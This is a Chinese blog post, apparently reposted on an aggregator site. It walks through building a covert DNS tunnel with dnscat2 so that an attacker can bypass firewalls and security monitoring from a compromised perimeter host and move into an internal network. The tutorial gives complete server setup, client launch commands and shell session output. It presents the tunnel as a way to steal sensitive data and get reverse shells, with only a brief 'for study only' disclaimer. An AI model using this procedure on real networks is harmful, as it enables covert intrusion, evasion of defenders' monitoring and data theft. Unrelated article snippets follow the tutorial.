【女士,房间墙上凿个洞,看你在干嘛~】安全攻防内网渗透-绕过防火墙和安全检测,搭建DNS隐蔽隧道

news2024/11/15 11:17:14

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。所以可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

题目很惊悚,真的有点惊悚啊~
如今很卷,各大公司的内网,甚至是网吧局域网的安全防护都做了起来,随便拿个攻防工具或者脚本乱打一通的时代已经过去了。
请添加图片描述
例如,各大公司将绝大部分网络和主机设备归为内网,通过堡垒机和防火墙,设置各种策略,实现逻辑上的内网隔离。仅仅将一小部分主机和上面的域名或者IP端口暴露在公网,作为暴露面对外接进行交互、展示,而这些硕果仅存的大家能通过互联网访问到的一个个网页、交互端口等俗称互联网暴露面。然后IPS防火墙APT抗DDOS流量清洗全流量监测设备…这些你知道或从未听过的各类安全产品都对这个暴露面进行严防死守。
请添加图片描述
暴露面身后的庞大内网在设计之初,是严禁直接从互联网访问哦! 而攻击者使用各种代理工具就像各种专用通道,能让你在家中笔记本上敲出的命令,通过这个通道轻松进入到目标内网的主机上,并将感兴趣的东西带出,甚至破坏。就像有人在你房间的墙壁上凿出一个洞,让你安全的小窝豁然暴露在他的面前一样

然而前面说的的各种安全工具和防护措施建立起来后,这些代理工具再也撬不动铜墙铁壁,一个个失去了作用~

在我们费劲千辛万苦拿到一个暴露面主机权限后,我们愕然发现:由于端口和策略限制,拿到暴露面所在的主机权限后,什么都不能做。更别提通过他真正撬开内网大门,堂而皇之的进入内网遨游!这感觉就像下图这样,只能透过钥匙孔看向一片漆黑。
请添加图片描述
怎么办,作为攻防渗透行业从业者我们不能坐以待毙!目前常见的策略中,非必要端口都会被关掉,但是DNS解析服务,端口号53,却是还保留着。毕竟很多场景下内网需要这个端口来与外界交互进行域名和IP地址的解析。而我们是否能将代理搭建在这个DNS数据包封装格式下呢?从而实现披着DNS的外表,实际在搭建一个隐蔽远控通道的目标?

答案是肯定的,本文演示所使用的工具就是Dnscat2这个知名工具

这段文字怎么感觉不像好人说的~

以上就是本文的文字介绍部分,如您对技术不是很熟悉,可以忽略下面内容。
如您是做技术的,可以参考下面的操作流程,尝试搭建自己的dns隧道哦~
友情提示:仅供学习交流,不得在实际环境下尝试,否则后果自负,与我无关哈~

基本原理

网络架构图

在这里插入图片描述

  1. 图中右侧模拟了一个内网:由防火墙隔绝,内网中有三台主机。

策略配置,外网不能访问内网的任何主机,内网主机可以访问外网。

  1. 图中间防火墙:设置了严格的策略,对内外流量进行控制

本实验可以理解为仅为DNS流量可以自由通过防火墙。

  1. 图中左侧模拟了互联网:攻击者拥有一个有公网地址的VPS主机
  2. 假设图中内网kali(192.168.1.6)已经被拿下,已上传dnscat2客户端。

DNS隧道原理

利用自己拥有的域名,设置域名A类和ns解析地址为自己vps服务器ip。在vps上使用Dnscat2工具,运行服务端,这样,在远端的客户端当解析自己的域名时,最后流量都会到达这台vps上。同理DNS的正常响应也会返回到发起询问的内网机器上。这本是一个正常DNS交互流程,一切都很正常。

但我们使用的Dnscat2工具建立的DNS服务本质其实是个远控程序,它以正常DNS数据包为表象,内在封装恶意代码,建立一个披着羊皮的隐蔽隧道。利用这个隧道,攻击者可以传输恶意指令,并与目标进行交互等操作,从而实现内网遨游。

而很多主流安全软件和防火墙,对dns的数据包,检查力度较弱,甚至直接放行。

配置自己的域名设置,并测试域名解析是否正常

  1. 在这里不会细说如何购买一个域名,我的域名是在godaddy购买的。
    设置很简单,只需要设置两处。如下图
    在这里插入图片描述
  2. 在自己的vps服务端,需要放行53端口
    在这里插入图片描述
  3. 测试域名设置是否能成功解析,能拼通,第一步成功
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# ping ns1.你的域名 
PING ns1.你的域名 (你的公网 56(84) bytes of data.
64 bytes from 你的公网 (你的公网): icmp_seq=1 ttl=128 time=30.3 ms
  1. 再测试子域名解析是否正常
# VPS 101.*
# 1. 腾讯服务器 打开防火墙53端口
# 2. 切换到root权限后,监听网卡 53端口数据包
ubuntu@VM-24-12-ubuntu:~$ su root
Password: 
root@VM-24-12-ubuntu:/home/ubuntu# cd ~

root@VM-24-12-ubuntu:~# tcpdump -n -i eth0 udp dst port 53
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# nslookup vpn.你的域名 
Server:         192.168.120.2
Address:        192.168.120.2#53

** server can't find vpn.你的域名: SERVFAIL

vps成功抓取DNS流量包
在这里插入图片描述

经过以上两个测试,可以验证域名解析配置正确。

在VPS上安装、启动Dnscat2服务端

# 环境安装
apt-get install gem
apt-get install ruby-dev
apt-agt install libpq-dev
apt-agt install ruby-bundler

# Dnscat2安装
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
bundle install
# 启动服务端
# 首先关闭所有占用53端口的程序
root@VM-24-12-ubuntu:~/tools/dnscat2/server# netstat -tunpl|grep 53
tcp        0      0 10.0.24.12:53           0.0.0.0:*               LISTEN      768/named           
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      768/named             

# 杀死进程
 kill -9 768

# 中继模式启动
root@VM-24-12-ubuntu:~/tools/dnscat2/server# ruby ./dnscat2.rb vpn.你的域名 -e open -c heason --no-cache

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: Client can decide on security level
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = vpn.你的域名]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=heason vpn.你的域名

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=heason

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2> 

在内网机器上启动客户端

dnscat2工具对linux和win客户端均有,链接如下
github上源码和linux客户端
dnscat2各类型服务端、客户端(含win)下载列表

# 内网kali 192.168.1.6
┌──(root㉿kali)-[~/Desktop]
└─# ./dnscat -dns domain=vpn.你的域名 -secret heason
Creating DNS driver:
 domain = vpn.你的域名
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.1.4

** Peer verified with pre-shared secret!

Session established!
Got a command: COMMAND_SHELL [request] :: request_id: 0x0001 :: name: shell
[[ WARNING ]] :: Starting: /bin/sh -c 'sh'
[[ WARNING ]] :: Started: sh (pid: 74086)
Response: COMMAND_SHELL [response] :: request_id: 0x0001 :: session_id: 0xa6d2

** Peer verified with pre-shared secret!

Session established!

简单命令执行演示

dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = vpn.你的域名 [*]
  1 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 3343 seconds]
  2 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 2972 seconds]
  3 :: (not set) [cleartext] [*] [idle for 2625 seconds]
  4 :: command (kali) [encrypted and verified]
  5 :: sh (kali) [encrypted and verified] [*]
dnscat2> session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

New window created: 6
sh (kali) 5> ls
sh (kali) 5> dnscat
dnscat2-v0.07-client-x64.tar.bz2

sh (kali) 5> pwd
sh (kali) 5> /root/Desktop

至此,隧道已成功建立,你可以通过这个隧道获取敏感信息,反弹shell等,开始下一步的内网探索了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/382914.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java并发包提供了哪些并发工具类?

第19讲 | Java并发包提供了哪些并发工具类&#xff1f; 通过前面的学习&#xff0c;我们一起回顾了线程、锁等各种并发编程的基本元素&#xff0c;也逐步涉及了 Java 并发包中的部分内容&#xff0c;相信经过前面的热身&#xff0c;我们能够更快地理解 Java 并发包。 今天我要…

SpringBoot集成Swagger3.0(入门) 02

文章目录Swagger3常用配置注解接口测试API信息配置Swagger3 Docket开关&#xff0c;过滤&#xff0c;分组Swagger3常用配置注解 ApiImplicitParams,ApiImplicitParam&#xff1a;Swagger3对参数的描述。 参数名参数值name参数名value参数的具体意义&#xff0c;作用。required参…

mes系统核心业务流程及应用场景介绍

现在许多企业已经开始使用MES系统控制和管理工厂的生产过程&#xff0c;实时监控、诊断和控制生产过程&#xff0c;完成单元集成和系统优化。本文将为大家具体介绍一下MES系统的业务流程。 MES系统业务流程 1、计划调度MES系统承接了ERP订单&#xff0c;开始干预生产。该模块…

kaggle RSNA 比赛过程总结

引言 算算时间&#xff0c;有差不多两年多没在打kaggle了&#xff0c;自20年最后一场后&#xff08;其实之前也就打过两场&#xff0c;一场打铁&#xff0c;一场表格赛是金是银不太记得&#xff0c;当时相当于刺激战场&#xff0c;过拟合lb大赛太刺激了&#xff0c;各种trick只…

毕业设计 基于51单片机的指纹红外密码电子锁

基于51单片机的指纹红外密码电子锁1、项目简介1.1 系统框架1.2 系统功能2、部分电路设计2.1 STC89C52单片机最小系统电路设计2.2 矩阵按键电路电路设计2.3 液晶显示模块电路设计3、部分代码展示3.1 LCD12864显示字符串3.2 串口初始化实物图1、项目简介 选题指导&#xff0c;项…

动态规划|特殊的多行规划|dp[2][] 用两行元素分别记录状态变化

多行规划是我自己整理此类问题时起的名字&#xff0c;如有专属名词&#xff0c;麻烦评论告知 用于处理当动态规划中&#xff0c;需要记录多个值的状态变化时。 376. 摆动序列&#xff08;特殊的自定义二维dp&#xff09; 做惯了一般的动态规划&#xff0c;突然看到这种题目&a…

UDPTCP网络编程

udp编程接口 一个UDP程序的编写可以分为3步&#xff1a; 创建一个网络套接字&#xff1a; 它相当于文件操作时的文件描述符&#xff0c;是一个程序进行网络通讯的门户&#xff0c; 所有的网络操作都要基于它 绑定IP和端口&#xff1a; 需要为网络套接字填充IP和端口信息 但是…

Python - 操作txt文件

文章目录打开txt文件读取txt文件写入txt文件删除txt文件打开txt文件 open(file, moder, bufferingNone, encodingNone, errorsNone, newlineNone, closefdTrue)函数用来打开txt文件。 #方法1&#xff0c;这种方式使用后需要关闭文件 f open("data.txt","r&qu…

【Visual Studio】git提交代码时使用GPG

前言 下载安装GPG的过程省略,直接开始进行配置 0.visual studio 版本说明 其余版本未测试,但是应该也是可以的 1 获取GPG的密钥ID 1.1 window下可以打开Kleopatra查看生成好的密钥的密钥ID 1.2 也可以从命令行中获取 gpg --list-keys 红框位置,后16位就是密钥ID 2 配置.git…

QML MouseArea详解

1.MouseArea简介 MouseArea是一个不可见的项目&#xff0c;通常与一个可见的项目一起使用&#xff0c;以便为该项目提供鼠标处理。通过有效地充当代理&#xff0c;鼠标处理的逻辑可以包含在MouseArea项中。 常用属性&#xff1a; 属性 类型描述 containsMouse bool 光标当前…

刷题笔记2 | 977.有序数组的平方 ,209.长度最小的子数组 ,59.螺旋矩阵II ,总结

977.有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后&#xff0c;数组变为 […

二、Spring概述

1.Spring简介 Spring是一个开源框架&#xff0c;它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。 从简单性、可测试性和松耦合的角度而言&#xff0c;任何Java应用都可以从Spring中受益。 Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。 Sp…

关于如何合理设置线程池参数解决方案

关于如何合理设置线程池参数解决方案&#xff08;ThreadPoolExecutor&#xff09; 线程池参数有哪些 我们直接来看构造方法 ... public ThreadPoolExecutor(int var1, int var2, long var3, TimeUnit var5, BlockingQueue<Runnable> var6,ThreadFactory var7, Rejecte…

W25Q256被写保护如何修改

W25Q256被写保护如何修改1、 W25Q256数据读不到1.1 打印的寄存器的值1.2 可能原因1.3 解决办法1.4 用到的函数1、 W25Q256数据读不到 能够正确的读到ID&#xff0c;但是读到的数据不正确 1.1 打印的寄存器的值 0x2 BUSY &#xff1a;只读&#xff0c; 指令正在执行 WEL (1) &…

物盾安全汤晓冬:工业互联网企业如何应对高发的供应链安全风险?

编者按&#xff1a;物盾安全是一家专注于物联网安全的产品厂商&#xff0c;其核心产品“物安盾”在能源、制造、交通等多个领域落地&#xff0c;为这些行业企业提供覆盖物联网云、管、边、端的安全整体解决方案。“物安盾”集成了腾讯安全制品扫描&#xff08;BSCA&#xff09;…

【二】kubernetes操作

k8s卸载重置 名词解释 1、Namespace&#xff1a;名称用来隔离资源&#xff0c;不隔离网络 创建名称空间 一、命名空间namesapce 方式一&#xff1a;命令行创建 kubectl create ns hello删除名称空间 kubectl delete ns hello查询指定的名称空间 kubectl get pod -n kube-s…

【Adobe国际认证中文官网】Adobe中国摄影计划,免费安装 正版激活

一直以来国内有非常多的 Adobe 用户&#xff0c;但苦于正版的购买渠道较少、价格较为高昂&#xff0c;转而选择其他国家或地区的 Adobe 计划&#xff0c;亦或者是其他软件。这次Adobe在杭州宣布在中国大陆地区推出面向专业摄影师及摄影爱好者的Adobe Creative Cloud 中国摄影计…

大话数据结构-普里姆算法(Prim)和克鲁斯卡尔算法(Kruskal)

5 最小生成树 构造连通网的最小代价生成树称为最小生成树&#xff0c;即Minimum Cost Spanning Tree&#xff0c;最小生成树通常是基于无向网/有向网构造的。 找连通网的最小生成树&#xff0c;经典的有两种算法&#xff0c;普里姆算法和克鲁斯卡尔算法。 5.1 普里姆&#xff…

技术分享| 如何使用Prometheus实现系统监控报警邮件通知

上一篇关于Prometheus的文章中说到了Prometheus是如何实现进程监控。在实际的线上环境中&#xff0c;当系统进程出现异常后需要实时通知到值班运维人员&#xff0c;去检查系统是否还正常运转。下面我们就介绍下基于Prometheus如何实现监控报警通知。 Prometheus的报警通知&…

【蓝桥杯每日一题】递归算法

&#x1f34e; 博客主页&#xff1a;&#x1f319;披星戴月的贾维斯 &#x1f34e; 欢迎关注&#xff1a;&#x1f44d;点赞&#x1f343;收藏&#x1f525;留言 &#x1f347;系列专栏&#xff1a;&#x1f319; 蓝桥杯 &#x1f319;我与杀戮之中绽放&#xff0c;亦如黎明的花…